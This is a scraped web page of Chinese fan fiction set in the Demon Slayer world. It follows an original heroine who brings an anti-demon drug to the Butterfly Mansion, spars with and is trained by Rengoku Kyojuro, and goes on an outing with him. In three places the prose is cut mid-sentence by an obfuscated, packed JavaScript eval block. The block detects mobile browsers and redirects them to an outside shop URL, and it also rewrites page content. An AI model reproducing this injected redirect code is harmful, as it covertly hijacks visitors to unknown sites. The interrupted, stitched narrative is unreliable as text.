只要不涉及危险,肖恩从不为我做决定,他的身份与性格天然要求他成为一个服从者,擅长听从命令和完成任务。于是我当下立断,要带上特效药亲自去一趟蝶屋。 或许是回归日常的生活太过于平静,当汽车缓慢停止在山下,去往鬼杀队基地还需步行一段路,不见天日的紫藤花几乎垂落到我鬓角的位置,每一个动作都能为土壤带来新鲜的花瓣。 蝶屋中有些热闹,少年和少女们的声音不绝于耳。我走进院内时险些被一个蓝黑色短发打着赤膊的少年撞到,不过他的动作反应能力比我更强,在我下意识护住特效药而侧身,肖恩下意识护在我身侧将他隔开时,他已经猛然停住。 我这才发现这个少年有着一张精致的脸——对,是精致,如同精雕细琢打磨出的五官却搭配了粗犷天然的气质。他睁着大大的眼睛直直地盯着我看,不过并不惹人讨厌。 “等等——伊之助!”另一个少年着急地冲过来,又将他拉开了些,并按着他的头向我鞠躬道歉:“非常抱歉!”声音相当洪亮。 红色的短发,爽朗的脸,额头上显眼的伤痕,耳朵上特别的耳饰。这个少年为我带来一种熟悉的感觉,可搜遍记忆始终寻不到一丝印象。或许曾经在何处擦肩过,日本不是有句俗话说“袖子相触是他生之缘”么! “没关系,你们正在做什么呢?”我当然不会生气!大概是礼仪课卓有成效,不过这都得归根于我原本就是好脾气的有栖川小小姐。他们的声音在院外也能听个七七八八,几个关键词让我敏感地捕捉到重点,他们似乎正在训练什么。 看他们的打扮就知道他们也是鬼杀队剑士。以日轮刀为武器的鬼杀队素来有着许多传闻,我练习剑道时曾使用过外祖母留下的日轮刀,可是剑术的出招却生涩凝滞。 我曾以为是我练习得还不够,直到老师端详过那柄刀后才得出结论:这种特制的武器有着与众不同的使用方法,如果不能搭配,在日常生活中它的存在感远不如一把训练用的木刀。 呼吸法,这个名词我不是第一次听见。我早想看看这种特殊的剑术流派究竟是怎样运作,此刻机会就在眼前,竟然有些手痒难耐。 自我介绍叫作灶门炭治郎的红发少年向我解释他们的练习课程,即如何在日常生活中长期保持呼吸法的运行。如此认真练习,他们当然应该进行一些测试来验证练习效果! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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胡蝶忍小姐正在屋内整理草药。上次正式见她还是在主公大人的宅邸。那次见面后,她说她与富冈先生被委派去那田蜘蛛山,我们便告别了。 再次见面我们都很欣喜。 我开门见山地告知她我的来意——她自然知道有栖川家与鬼杀队的合作,事实上本家的药师甚至对胡蝶忍小姐夸赞有加——她的目光一瞬不瞬地落在我手中提着的箱子上。视线落下的那个瞬间她的神情并没有来得及变化,但是我已然从那双神秘的紫色眼睛中看到了波澜。 我向她展示目前研制出的特效药。浅色药剂被分装在不同的玻璃试管中,以不同的浓度做出多份备份。如今只算在开发的初步阶段,唯一的样本提供者(那个被我抓住的试验品)为这份事业作出相当卓越的贡献。 这是我第一次看见胡蝶忍小姐这么兴奋的样子,好像稚童看见渴望已久的糖果,吃不到那颗糖的话下一秒就会死掉。我们就药物目前的研制结果和最终成品的方向进行了交流,她温柔地为我解答特殊药剂在鬼身上作用的症状。 “你知道吗,朝和小姐……”她对我亲近了些,不再生疏地称呼我的姓氏,虽然她的血里都流着敬称,但是她选择更亲昵地叫我的名字,“我为这一天等待许久了。” 她眼中有着脉脉流动的泪光。可是只在一个眨眼的瞬间,那种破碎彻底消失了,转而留下的仍是坚定。我以为自己看错了。 她究竟等待着什么呢…… 17. 幻梦者 今夜,你有何远方小城, 一同来到我甜蜜的梦境 ——施巴乔夫 从蝶屋回来后,我始终不能忘记胡蝶忍小姐的眼神。父母一眼就看出我努力掩藏的心事重重。我推阻了不少社交活动以减缓外出频率,让自己更多地留在室内喘口气静思。 有一天夜里我忽然陷入一个紫色的梦,大片大片的蝶翼占满我全部视线并且持续扇动着,无色的鳞粉扑簌簌飞舞在半空,却惊起月光冷色的折射。 嘉泽乐进屋叫我起床时,我早已从那个梦中彻底醒来,正沉默地坐在床上发呆。昨天夜里我忘记将窗户完全合上,漏出的那道缝隙中鼓进微风正在抚弄窗帘。她很是惊讶地上前,开口时竟然小心翼翼地询问我是否身体不适。 我没觉得有什么不适,但是感觉最近的光合作用效率太低,而我迫切需要更多能量。 衣柜里五彩缤纷的和服正试图花枝招展地用刺绣或是蕾丝抓住我的视线,但我坚定地拒绝了这种诱惑,而是提出让嘉泽乐为我搭配一身方便行动的服装。在梦中我就为今天确定了行程,距离在花街已经过去了不短的时间,是一个让我去履行约定时看起来不会太失礼的日子。 轻装简行,随身物品只有肖恩,而肖恩替我携带了两柄刀。事实上很多时候日常出行,即使有肖恩陪同,我也很少带着大太刀出行。 毕竟金属武器的存在感太高,而大太刀极难掩藏,带着它如同身上挂着危险警告的告示牌,从川流不息的人群中摩西分海般裂出一条空隙。 可今天不同。用剑士的说法,今日是赴武道之约,带上武器才能显出我的真诚。 炼狱宅外同样种着茂盛的紫藤,木门上印画着燃烧火焰般的家纹。 肖恩前去敲门。 很快有人应门,声音听着有些稚嫩,门扉推开,露出的是一张与炼狱先生相似但更年轻的脸,同样金红的眼睛与发,分叉的粗黑剑眉委屈地下压。 “两位好,”他有些茫然地看向我们,“请问两位找谁?” 我看向肖恩,他的表情让我确定他没有忘记提前致电炼狱先生向他预约此刻的会面,我上前一步,在他开口前自我介绍:“你好,我是有栖川朝和,今日前来拜访炼狱杏寿郎先生!” 少年闻言恍然大悟似的打开门,侧身站在一边鞠躬表示歉意:“原来是有栖川小姐,抱歉,兄长同我说过您会来拜访,没有认出,实在失礼。” 没关系,我摆摆手,“您是炼狱先生的弟弟?”他们生得的确很像,但是气质却截然不同,炼狱先生只是普通地站在那里,哪怕是在一个角落里,也有一种令人无法忽视的卓尔不群。 不过这位弟弟,却更普通——我绝无任何蔑视的意思——除却外貌的醒目,他身上不带有鬼杀队剑士的锋利,更像一个寻常人。 “是的,在下炼狱千寿郎。”他说出姓名时垂着头,看着很是拘谨,连带着我也紧张起来。真奇怪,我又不是第一次拜访别人的住所,正当我想要说些轻松的话题打破此刻的氛围时,肖恩为我递上一个食盒。 那是出门前嘉泽乐放进车里的,我一眼就认出这个包装属于京内目前非常火热的一家西点店。贵族小姐们近来流行送这家的点心作为伴手礼,我已经尝过很多次,味道进行过贴近和食的改良,配得上它的价格。 我接过食盒端到千寿郎先生面前,“唐突拜访,这是一点小小心意,请笑纳。”枝子小姐若在现场都会为我鼓掌。少年一脸蒙地接过食盒,我们像是在传递火炬一样一板一眼。 “啊您客气了,不胜感激……”和他的视线对上后,都为此刻的场面忍俊不禁,僵硬的气氛被成功挽救,他自在地领我去寻找炼狱先生。 从结构来看,炼狱宅的构成并不比有栖川宅复杂,唯一的不同是拥有一座独立于主体建筑的剑道场。炼狱先生竟然静坐在道场外的游廊上等我,男人分明的下颌线暴露在阳光下,金红色的发熠熠生辉。 “好久不见,有栖川少女!”炼狱先生兴致高昂地向我招呼,他一改往常的装扮,没有穿队服,也没有披着羽织,而是穿着剑道服,腿上摆放着他的日轮刀和一柄练习用的木刀。 身侧的小几上两盏茶正向上冒着热气。淑女礼仪让步,我快步上前,“炼狱先生,好久不见!”一开口,我都来不及发觉自己的声音有多雀跃,“我来赴约了,今天请您多多指教!” 他点点头,却并没有立刻站起身,可以感觉到他的视线上下打量着我,我的装扮。对比起炼狱先生,我轻便的衣装也显得如此不专业,但是他却只是夸赞道:“今天的装扮很清新呢!” 接着才温和地转过话题:“不过,对战难免会有意外,如果少女不介意的话,可以穿我少年时的练功服。”他把刀放到一边,跳下游廊,绕到我身后,伸手沿着我的肩膀比画着,“大概穿得下。” 我当然愿意! 没想到炼狱先生年少时的衣服还保存得这么好,没有旧衣服积压的陈旧味,没有深重的折痕,似乎昨天才浆洗过,熏有一种淡而不腻的香。衣物缝纫的针脚细密,布料柔软,直垂上衣用色深而不暗,下袴腰带上字体端正的“杏寿郎”三个字清晰地表明所属。 等我更衣完成,炼狱先生已经站在道场内,迎上我走近的眼神里流露出些许深沉,似乎在怀念什么。这毕竟是炼狱先生少时合身的穿着,在我身上袖子长了几寸。 “这是我母亲为我缝制的剑道服,从前父亲教授我们剑道的时候,她就会坐在游廊上安静地看着我们。”他示意我站到他面前,亲自帮我把袖子绑起,束结时又轻声询问我是否过紧。 我摇摇头,询问:“炼狱先生现在的剑道服也是您母亲缝制的吗?”我还从没有过母亲为我缝制衣服的体验,我的母亲自然是一个大家闺秀,但是在对她的培养上,不知是外祖父还是外祖母的缘故,也可能两人都发挥了作用? 我的母亲不同于其他的大和闺秀——不然她也不会跑到英国去还嫁给金发碧眼的我的父亲。 那是一个光线不会太强烈的上午,天幕蔚蓝,却很安静,安静得连屋外紫藤花被风吹乱的声音都消失了。炼狱先生一时没有回话,当我追寻着他的声音转身看向他时,闪亮的半空中甚至连尘埃都静止,他用他一直以来都无比爽朗的声音说:“她很久之前就去世了。” “啊……” 我做错了一件事。 可这件事并非像缓解千寿郎先生的紧张那样送上一盒点心就能解决,这是截然不同的、更沉重更无礼的……我脑海里的声音吵嚷地拧成一团乱麻,想要道歉开口却磕磕巴巴:“抱、抱歉……我……” 我紧张地注视着他,也因恐惧而渴望躲开视线,我不敢看到男人眼里的悲伤,更害怕为他带去这感受的人是自己。 我是无比纠结的个体,几乎要颤抖起来,心脏急速震颤。 一只温暖的大手轻轻落在我头顶,他揉揉我的脑袋,像在回应我。炼狱先生没有任何改变,他仍然是先前的样子,和从前见到的每一次都一样,是正在燃烧的太阳,温暖耀眼。“没关系,少女,”他点点头,笑着重复道,“没关系。” 我花了一些时间才摆脱难以抑制的情绪。 炼狱先生先陪我热身了一番,他将自己常用的拉伸方式告诉我,虽然我觉得这个强度并不像是我这样的初学者真的能够做到的。不过令人意外的是,炼狱先生真的是一个很好的老师,我原以为像炼狱先生这样天才的剑士很难理解寻常人练习剑道时的烦恼,但事实并非如此。 我在练剑时遇到的问题炼狱先生一眼就能看穿,我因力量与速度不足而在剑招上存在的颓势也被炼狱先生一一指出!就好像炼狱先生在我身边陪同观察过每一节剑术课! “炼狱先生以前也教导过后辈剑术吗?”我好奇地问道。他这样包容兼并的教学态度绝非几次简单指点能够养成的,倒不如说,他比我的剑术老师更会教学。 “唔姆,”他站在我身边,握住我摆出应对招式时姿势错误的手腕微微扭转到正确的角度,这样握住打刀可以拿得更稳,“我一直会教导千寿郎剑术呢!在鬼杀队的时候我也曾有过一个继子。” “继子?”我对这个词汇的书面理解似乎与炼狱先生说的存在误差。 他当然发现了我的疑惑,解释道:“就是徒弟的意思。她叫甘露寺蜜璃,现在也已经是柱的一员了。你还没有见过她,等之后有机会介绍你们认识吧!她是一个很热情开朗的人,感觉一定能和有栖川少女成为朋友的。” “炼狱先生的徒弟!竟然也是柱大人吗?”比起惊讶,不知道为什么在我脑海里出现的形象是一个与胡蝶忍小姐截然不同,但是关键时刻会像炼狱先生一样爽快地大笑的人……不不,朝和,你的礼仪呢! 炼狱先生退开几步,在距离我大约三米远处停下。我们没有使用训练用的木剑,在看过我带来的外祖母的日轮刀后,他也拿出了他的。 他从白色的刀鞘中抽出日轮刀,火焰形状的刀镡后银白的利刃正等待着。他示意我先攻,认真地注视着我:“作为老师我可是非常严格的。来吧,少女,让我看看你的实力。” 与炎柱大人的对战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613415|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和炭治郎的过招天差地别。与炭治郎的过招,让我烦恼的更多的是对方的力量,在不失误的情况下也能勉强打个有来有回,虽然也坚持不了太久就是了。但是与炼狱先生的对战就只剩下压制了。 他果真是一个很严格的老师,即使面对的是我这样的初学者,也不带有轻视与松懈,仿佛亲临死战的紧张感席卷而来,令我无法分神。他可以预料到我每一个接下来的动作,当我试图攻击时,他总能化解,并且反击。而我根本看不透炼狱先生细密的攻击,只能在刀刃斩来时勉勉强强挡下。 毕竟是鬼杀队的炎柱呢。对战结束的时候我喘得很厉害,手软得快握不住剑。炼狱先生撑住我的手臂扶了我一把,我下意识看向他,我想说些什么,在我开口前炼狱先生朗声道:“很不错呢,有栖川少女!” “真的吗?”得到炼狱先生的赞赏比被我的剑术老师夸奖一百次都令人高兴,我希望能得到来自他的更多认同,于是只能追问。 他带着我坐到游廊下,“对于没经过长期正式训练的普通人,能做到这样当然很不错了!你很有天赋!” 嗯,他又摸了摸我的头。 这下少女的心意才姗姗来迟,我有些羞赧地抱起腿,脸支在膝盖上。“我从前,还不知道这个世界上有鬼的时候,总觉得一切都很简单。” 父母都并非普通人,在日本为世家的母亲,在英国可称豪强的父亲,伊冯娜·兰德——有栖川朝和,从一出生就拥有一切。 可是此刻坐在男人身边,心口鼓胀的情绪究竟名为何物,我无法压下深藏起,只能将它清晰地说出:“我以为我可以做到任何我想做到的事,我以为未来是向我奔来的,我以为我可以改变世界。” “可我现在才知道自己的渺小,我拥有的力量是那么微不足道。”我小心翼翼地抬眼去看炼狱先生,可他正在看我,垂向我的目光温和有力,“我是不是太天真了?” 他笑起来,手拍在我肩头,用温度将信任传递。“当然不,你是一个勇敢坚强的人。” “有做不到的事不算什么,你已经非常努力了,”他在想些什么,我不得而知,只是他顿住话头转而看向正前,留给我线条坚毅的侧脸,片刻后,似感慨的声音才从风中传来:“如果可以,我希望你永远不用直面世界的残忍。” 他想要保护我。我的大脑仅是模糊地接收到这个讯号,就差点掉线。身体缓慢僵硬,血管无法将血液输送到心脏,试图躲开什么似的,我几乎逃窜下游廊。庭院内紫藤花落了一地,尚新的花瓣上已有泥痕沾染。 我当然知道被保护的感觉。或者该说,从前的十多年里我一直处在严密的保护中,父母也好,外祖父也好,他们紧张着我的安危,即使让我学习剑术,也始终希望我不必真的上战场。 可现在这层保护被悄然撕开一道裂缝,我透过这个裂口观察到保护结界外真实的世界。也看到保护着世界的他们。 向前走去时我始终能感受到跟随着我的视线是多么宽容坚定,有着温暖熨帖的热量,正支撑着我的脊梁。他是善于征战的一种神明,将庇佑的力量融化在自己的本性中,过于敏感而习惯理解,擅长照顾而十分宽容。他永远不会知道自己给予了被他注视着的众生怎样的力量。 假如我不曾见过光明。 “可我真切地知道了鬼的存在,我的世界已经焕然一新,我不能潦草地哄骗自己视而不见,更不能对一切置之不理。”不知该如何形容,似乎在哀叹,心情却激昂,既等待着明天的朝阳,又担忧今夜的深晦。 我算不上一个英雄,没有那么大公无私,也很难做到忘我奉献,可即使如此,我依旧希望能将自己这份绵薄之力投放在值得贡献的位置。 我不知道脑海中这般印象是在具体何时成形的,我只知道,当我察觉到的时候,他们已经为我做出一个榜样。 那么好的阳光。 没人会不喜欢行走在阳光下。 “我想要拥有力量!”我停住步伐,笑着转身看向他,毫不犹豫,“想为你们做更多的事!” 趋光性让我不禁再次向他靠近。“像炼狱先生这样挺身而出保护别人,真的超帅的!”我无限憧憬,因为我已经见过太阳,他正在我眼前燃烧。而我追逐太阳,我也有着想要保护他的梦想。 我再也不愿回到保护中。 炼狱先生愣怔地盯着我,一时失语。这是我第一次如此清晰地从他金红色的双眼中看到我的倒影,那片温和的火海正在蔓延,铺天盖地地烧。 风亦止息,周遭归于寂静,唯独心如擂鼓。 18. 栀子色 每一个哭泣者, 总是有更多替他擦去眼泪的人。 每一个幸福的人, 总是有满含悲伤的人, 在其幸福时刻试图温暖他们自己。 ——耶胡达·阿米亥 最近的时间似乎过得飞快,常常理不清晨昏的交接,等注意到时已经是新一天了。 去炼狱家进行剑术特训与去蝶屋跟进特效药的研制占据了我目前大多时间,当然,这两件事也远比进行下午茶社交有趣得多。我深觉自己正奋斗在一项艰巨的任务中,自然也拿出比之平常双倍的认真干劲。 于是,当炼狱先生邀请我一起外出时,炼狱宅邸已经成为我很熟悉的一个地点。炼狱先生的家庭构成相当简单,宅院内的布置也偏向简约,花园内种植着常见的紫藤花和龙胆花。 大多数时候我上门拜访时只能遇见炼狱先生兄弟俩。只有极偶尔的一次,我曾在院子里远远瞥见过一个中年男人的背影。与炼狱先生截然不同,那个仅仅用背影就能刻画出颓唐与死气沉沉的男人很快消失在道路尽头。 然而站在我身侧的炼狱先生沉默了许久……又或者其实只有一霎?当他垂下双眼言简意赅地介绍道“那是家父”的时候,我感到被一种难以言喻的情绪攫取住思维。 西洞院路非常热闹。此处不同于花街,行走在街道上的大多是些年轻的少男少女,和洋折衷的服饰显得青春洋溢。 炼狱先生正根据我选择完毕的菜单让服务员增加些什么。我们坐在一家装潢新式的店内,炼狱先生极力推荐了他家的牛肉丼饭。他不开玩笑地说从前出完任务回来他能一口气连吃五碗。 于是我按照他常吃的口味进行点单,想试试这份与众不同的出色风味。 不同于寻常和食店,我们坐在临街一侧,半高的墙上安装有格栅的窗,能隐约看到一些街道上的景色,而阳光透过木窗栏投射在桌面上的阴影也显得秀美诗意。 炼狱先生把茶推到我手边,温度适宜的大麦茶略有回甘,咽下时喉中留有浅浅余味。 今天的行程是炼狱先生全权安排的。用他的话来说:是对我这段时间进步的奖励。 彼时我们刚结束剑道训练,并肩共坐在游廊上,千寿郎去收拾东西了,而肖恩去开车了,避开所有能避开的,我小心翼翼地凑到他身边轻声问他是给我的奖励还是给我和千寿郎的? 哦——这当然有所不同!如果是给我和千寿郎一起的,我就不用那么紧张……我是说,我就不用那么在意“剑道教室团建”活动,但如果这是给我一个人的……能和炼狱先生单独外出的体验绝对是独一份的,我暂时想不出有什么能够替代。 我有些压不下嘴角。 “只有我们两个,少女,我和你。”他用眼神在我们之间徘徊示意,“还为了感谢你这段时间的礼物,每次带的点心都很好吃。”空手上门不符合这个国家的礼仪,我自然也不会如此失礼。可炼狱先生家什么也不缺。这就得感谢我万能的女仆嘉泽乐,感谢她在我每次出门拜访时都能提前准备好样式精致、口味淡雅的点心。 显而易见,这是一份相当优秀的礼物!往往是在练完剑后发挥功效,容我们坐在一起,一边喝茶一边吃点心,偶尔静默,偶尔会说些什么。 于是我今天醒得很早。没有梦,也没有起床气,服装是昨天睡前就搭配好的,首选的当然是和服。炼狱先生似乎常穿着和服,我虽然不知道究竟要同他去哪里,但也不想和他站在一起时风格差异太大。 来日本后定制的和服大多是颜色纹样清新简雅的款式,大多是蓝绿色系,或者用色浅淡轻快的浅黄。黄色的衣裳总让我想起炼狱先生半长的发,好像为了染出这匹锦缎而特意从他身上偷了这份颜色。 当然,和服对我而言唯一的缺点也只剩下不便于行动,虽然我能穿着木屐快跑,但是一旦这层层衣料叠加在身,难免会被礼仪规矩束缚而不能迈开步子。 提前十分钟到达约定的地点时,炼狱先生已经在了。他穿着红黑配色的和服,脑后依然束着发,今天甚至没佩刀,不枉我一路上虔诚地祈祷今天不会遇到鬼。边上时有路过的少女们偷偷打量他,他全然没有察觉的样子,不知是在放空自己还是思考什么。 肖恩听从我的安排让我在不远处的路边下车,这里算是闹市街区,人来人往,没有空地让他塞下一台车。于是我在他或者嘉泽乐开口之前提前与他们说了再见——再见,快点回去吧,不用接我,到时候炼狱先生会送我回家的——即使炼狱先生没有这样的安排,我当然也会想尽办法让他同意的。 无视了这两颗钉子的视线,我脚步轻快地向炼狱先生走去。 他已经发现了我,我不知道他有没有意识到自己的表情看起来有多温柔,注视着我从一边走到另一边,慢慢向他靠近时,他的笑容也越来越耀眼。 “早上好,少女!”在他开口前,我就能在脑海中想象到他的声线。还不等我走近停下,他的观察已经结束:“这件和服很适合你,很明亮的栀子色,让你看起来……”他大概是在思考措辞,“很像秋天的阳光。” “栀子色?”我当然没有在裁缝为我量体裁衣时专注地去了解什么样的配色什么样的纹样,于是这个陌生的名词被我不解地重新扔给炼狱先生,他点点头,“用栀子花果实染出的颜色,” 我确实不曾见过栀子花的果实,但是选择这件和服的初心却显而易见,我指了指炼狱先生的头发,一语道破:“炼狱先生的头发也是栀子色吗?” 他很有些诧异地睁大了眼。 能看到炼狱先生露出这种表情,真是难能可贵。 他反应过来,用自己也不是非常确定的语气道:“炼狱家代代都是这个发色,唔姆,我觉得可能是先祖吃虾吃得太多了。”他走在道路外侧那边,比起熙熙攘攘的人群,他绅士的间隔也显得如此贴近。 岔路口清晰标识出西洞院路的走向。从西洞院路一直往南就是土御门路。 这个有些熟悉的名字一下子唤醒我幼时的回忆。我在遥远的大洋之外时,也曾听过、看过住在土御门的阴阳师安倍晴明的故事。小时候母亲甚至将安倍晴明降服玉藻前的故事当成哄我入睡的教材。如今这里已难寻当年阴阳头的踪迹,道路两边时新的各色铺子开得如火如荼。 我驻足在捞金鱼的摊位前时,炼狱先生体贴地主动询问道:“想要试一试吗?”今天是出来玩的,我摇摇头,即使确实有些心动。但是带着一条金鱼也太不方便了。 “炼狱先生以前有捞过金鱼吗?” 他点点头,“不过是在很久以前了,在祭典上帮千寿郎捞过。这是很讲究技巧的。”看得出来他绝对精于此道。 祭典!一个非常让人心驰神往的名词。 好想问一些关于祭典的事!心里正这么想着呢,炼狱先生已经开口道:“有栖川少女是想参加祭典吗?” 一语中的! 我毫不掩藏! “下次有祭典的话,我带你一起去吧。”他的问句不带疑惑,正如他说的“下次”都有印证,而非虚伪的糊弄。他似乎从不说自己做不到的保证,一旦出口,就一定能达成。 我兴高采烈地同他述说我对祭典的期待,他一边回答我的问题,一边带我进入一家和食店。 店主是位中年男性,与炼狱先生应该是熟识,在他进门的时候就眼尖地认出他并且热情地向他打招呼。当店主好奇的目光落到我身上时,炼狱先生将我介绍为他的朋友。 “敝姓有栖川。”我竟然读懂了店主熊熊燃烧的八卦心,他称呼我为“有栖川小姐”时自以为不着痕迹的打量没让我觉得反感。 引领我们坐下后,店主递来一张纸质的菜单,玩笑道:“有栖川小姐想吃什么都可以让炼狱先生介绍一下,他可是我们店的熟客,每一个菜品都品尝过!只要是炼狱先生推荐的,准没错!” 于是我开始巡视那张看起来平平无奇的菜单。而炼狱先生却看着店外? 透过格栅我看见被切分的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613416|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界,这一切的吸引力还没有我们桌上那朵装饰用的月季来得强烈。不过炼狱先生的敏感在于他总在我开口前就能猜到我想着什么。 当他指出街道上——我的八点方向——那两个戴着墨镜有些欲盖弥彰的人影,我不觉汗颜。是肖恩和嘉泽乐,谁能想到,这一路我都毫无察觉。 可是此刻炼狱先生指出他们的藏身之处,他们原本融入人群中的行径瞬间变得突兀了。而且无论我怎么忽视,都忽视不掉。 这是过保护吧?和炼狱先生出门难道还要担心什么吗?况且还是大白天!不知道为什么隐隐开始担心起,下一秒千寿郎会从某个角落突然出现开始和我们打招呼,啊啊啊啊啊不要!晚上回家我一定要控诉他们的行为,不给我保留一丁点隐私! 炼狱先生在添加完菜品后,再次询问我是否还要加些小食。我摇摇头,等到店主确认菜品完毕离开后,我才把自己的疑问诉诸:“炼狱先生为什么一直叫我少女呢?” “啊!”他的表情告诉我他绝对没有意识到这点,但他还是反思道,“很奇怪吗?” “不是!一点也不奇怪!”我急切地否认,向他解释,“就是……我更希望炼狱先生能叫我的名字!叫我朝和!”我一定露出了“来!叫我的名字试试看!”的渴望表情,不然他不会在与我接触到视线的那一刹那就情不自禁地笑了。 “朝和。”他甚至不需要时间准备,仿佛这两个字一直藏在舌尖,随时可以被吐露在人前。而这简短的咒已经成功击中我,在他燃烧的双目的注视下,我忍不住垂下眼睛,躲避对视。他会不会之前就想直白地叫我的名字了呢?不过我也只是猜测而已。 他的包容是诱惑的鱼饵,每一次投喂都能打出连绵不绝的涟漪,总有一天这份包容会惯坏我。或许我会成为一尾贪心的鱼。 “土御门,就是安倍晴明住的那个土御门吗?”我转移话题。 “嗯,不过安倍晴明的故居修缮成晴明神社了,土御门路那边会很热闹。”他便应到。 说起来,之前我总觉得阴阳师与鬼杀队有着相似之处,而四处作乱的鬼则肖似百鬼夜行的妖怪。除却九尾狐玉藻前,不也有着罗生门艳鬼茨木童子这样爱吃人的妖怪吗? 不过距离现在更久远,如同存活在神话故事中的安倍晴明这样的阴阳师,恐怕也不曾经历过如今鬼杀队遇见过的险境吧。纵然鬼杀队的剑士每一个都是天赋绝尘的人,可是面对鬼时依旧需要赌上性命来抗争。 呼吸法没有桔梗印那么好用,十二鬼月也不比玉藻前那么好杀。 当我说起幼时母亲会和我说安倍晴明降妖的故事时,炼狱先生的眉眼柔和下来。“炼狱先生呢,小时候伯母会跟你说什么样的睡前故事?”他并不反感提起母亲,相反,每次说起母亲时炼狱先生都很幸福,一个温柔坚强的母亲形象跃然脑中,她一定一定给了炼狱先生全然无私的爱,才能让炼狱先生拥有如此健全开朗的性格。 炼狱先生摇摇头,“我小时候,母亲会和我说鬼杀队的故事。父亲是怎样杀鬼的,他们是怎么认识的……母亲去世后,我照顾千寿郎时,同他复述过这些,但是更多时候我会与他说母亲是怎样的一个人。” 这不是我第一次察觉到。 热茶袅袅升起的烟幕后,名为炼狱杏寿郎的青年,即使维持着惯常的认真神情,也还是从眼尾溢出些许悲伤。 我想伸手穿过烟雾,至少要触碰到他的眉心。我想抚平他心中的不平静,与他分担这种寂静的忧愁。 我确实那么做了。但只是用指尖触碰到他的指甲,指甲是人体死去的细胞,本不该有那么剧烈的触觉,可他指上的温度比我紧张的指尖还要热烈。我总有一种错觉,他正向我传递出热量,而我依赖着这种温度。 “真好,”我用另一只手撑着下巴,对他微笑,“等我以后也可以和我的孩子说鬼杀队的故事!告诉他有这样一群人,为了和平能献出一切,数百年不休止地奋斗着!” 我想,一定会是好结局。 19. 前奏 天气似乎有些变了。 临出门时我才发现远处的穹顶上挂着一大片浓稠的云,阴晦地紧紧缀着。 我自然有些担忧,木屐、裙摆、山路构成我的目的地,而潮湿与泥泞堪称我外出的死敌。我已经看见肖恩以防万一地多往车里放了把伞。 有栖川家专门研发特效药和武器的团队被安置在靠近城市中心的一处新式建筑内,配备有目前世界上最高端的实验设备,每月投入的科研经费也是不菲。距离本家大宅车程很近,休闲时徒步也可到达。 参与这个项目的所有人都知道“鬼”的存在,其中不乏深受其害的人,每个人或多或少都得到了有栖川家的帮助,堪称主力的几位专家甚至得到外祖父资助去英国留过学。 我才知道鬼当真在日本这片土地上如此肆虐,从北海道到九州,竟然没有一个地方能够幸免于难。如同一种沉默的低气压,覆盖在整个日本上空,人们难以喘息,却也没有办法反抗。试图劈开绞紧的枝蔓的鬼杀队发展得太过艰难,一代一代传承下来,期盼已经构建千年已久。 我往往是在去实验室取样品的时候了解一下目前的进展与后续的方向。药物研究的负责人看起来总有些像弥勒佛,整天笑呵呵的,每次我去,他都会亲自作陪,并向我讲解实验中的要点与原理。 等待药剂样品分装的时间,他会拿出珍藏的好茶招待我,有时会做作地恭维我,有时则惋惜地感叹目前项目上的难点。我当然听得出他的弦外之音。 比起武器研发部门那个高个子负责人总冷着一张脸,决绝地用“测试阶段危险性太强,而朝和小姐应该注意自己的安危”为理由拒绝我的参观。药物部门的开发进展顺利、过程透明,我亲眼看着试剂逐渐完善,于是也乐意让这位敬业的负责人脸上多几条笑纹。 无非是和经理人打通电话多拨些经费的举手之劳,我有这样的权力。 拿到新药样品后我一般会以最快的速度坐车去往鬼杀队本部。胡蝶忍小姐没有外出任务的时候一般都在蝶屋,有时——大约一个星期一次的频率——她会去实验室参与研发,而她因故没能去到实验室的那个星期,我会替她把药品送来蝶屋。 胡蝶忍的药房与实验室大相径庭,她是本土医学的专家,甚至拥有非常完善的中医药体系,在那间方正的小屋里,废寝忘食的背影是常见装饰。她以消耗式的态度燃烧自己,对药草的药性与种植方法的研究比我对《欢乐颂》的琴谱还要熟悉。而有栖川家的实验室主张使用西医的研究方法,着重于微量元素与化学物质,胡蝶忍并非专攻此项,但也接受良好,甚至能够得到灵感来改良自己的药剂。要我说,胡蝶忍小姐制药就像炼金术,陶制坩埚内熬煮的药汁更像是什么魔药。 我进入这里显然已经轻车熟路。 穿过庭院里的吵吵嚷嚷,那三个少年竟然还在,不仅如此,这次还多了个沉默的黑发少女,抬手轻敲紧闭的木门三下,在屋内的人出声前我就能率先回复她将要问出口的问题:“是我,朝和!” 胡蝶忍温柔的声音传出门扉:“请进,朝和小姐。” “忍!”我推门进去,方窗里照射进的光线悉数洒落在黑紫色发的少女侧身,留出她娴静的侧脸。 没错!经过我这段时间乐此不疲的长期拜访,我和虫柱大人的关系也是突飞猛进,以至于我已经能够直白地叫她的名字且不带任何敬称。她竟然其实年纪和我差不多大!在我知道这个真相的时候那种震惊的情绪我消化了三天都很难释怀! 不过忍还是别扭地叫我“朝和小姐”。我觉得以她会捉弄人的性格来看,害羞的成分比恪守规则来得更多一些。毕竟她还在蝶屋为我打扫出一个房间供我短期留宿。 